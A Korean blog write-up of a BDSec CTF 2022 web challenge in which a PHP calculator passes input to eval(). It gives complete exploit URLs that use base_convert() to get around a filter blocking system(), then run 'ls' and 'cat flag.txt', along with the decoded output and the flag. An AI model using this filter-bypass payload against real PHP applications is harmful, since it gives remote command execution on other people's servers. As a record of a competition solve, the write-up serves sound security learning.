-
이 문제는 대회 도중 갑자기 사라졌다(?)
코드를 보면 eval()함수에서 취약점이 발생한다. (아쉽게 코드는 전부 날라갔다..)
eval() 함수는 다른 함수를 실행할 수 있다는 취약점있다.
기억상 필터링 때문에 바로 system()함수를 호출할 수 없고
base_convert()함수를 필터링하고 있지 않아 base_convert() 함수로 우회하여 문제를 풀어야 했다.
http://206.189.236.145:9001/?calculation=base_convert(1751504350,10,36)(base_convert(9911,10,28)(108).base_convert(9911,10,28)(115)) # system('ls')
php > base_convert(1751504350,10,36); system php > echo base_convert(9911,10,28)(108); l # letter l php > echo base_convert(9911,10,28)(115); s # letter s
http://206.189.236.145:9001/?calculation=base_convert(1751504350,10,36)(base_convert(9911,10,28)(99).base_convert(9911,10,28)(97).base_convert(9911,10,28)(116).base_convert(9911,10,28)(32).base_convert(9911,10,28)(102).base_convert(9911,10,28)(108).base_convert(9911,10,28)(97).base_convert(9911,10,28)(103).base_convert(9911,10,28)(46).base_convert(9911,10,28)(116).base_convert(9911,10,28)(120).base_convert(9911,10,28)(116)) # system('cat flag.txt')
php > base_convert(1751504350,10,36); system php > echo base_convert(9911,10,28)(99); c # letter c php > echo base_convert(9911,10,28)(97); a # letter a php > echo base_convert(9911,10,28)(116); t # letter t php > echo base_convert(9911,10,28)(32); # Blank space php > echo base_convert(9911,10,28)(102); f # letter f php > echo base_convert(9911,10,28)(108); l # letter l php > echo base_convert(9911,10,28)(97); a # letter a php > echo base_convert(9911,10,28)(103); g # letter g php > echo base_convert(9911,10,28)(46); . # letter . php > echo base_convert(9911,10,28)(116); t # letter t php > echo base_convert(9911,10,28)(120); x # letter x php > echo base_convert(9911,10,28)(116); t # letter t
Flag : BDSEC{aW3sOm3_c4LcUl4T1oN_iS_NoT_S4f3}
Reference
RCE with eval() + math functions in PHP
Exploiting, attacking and learning
www.hackvuln.com
'CTF > BDSec CTF 2022' 카테고리의 다른 글
[BDSec CTF 2022] Knight Squad Shop (0) 2022.07.22 [BDSec CTF 2022] Awesome Note Keeping (0) 2022.07.22 [BDSec CTF 2022] Jungle Templating (0) 2022.07.22 댓글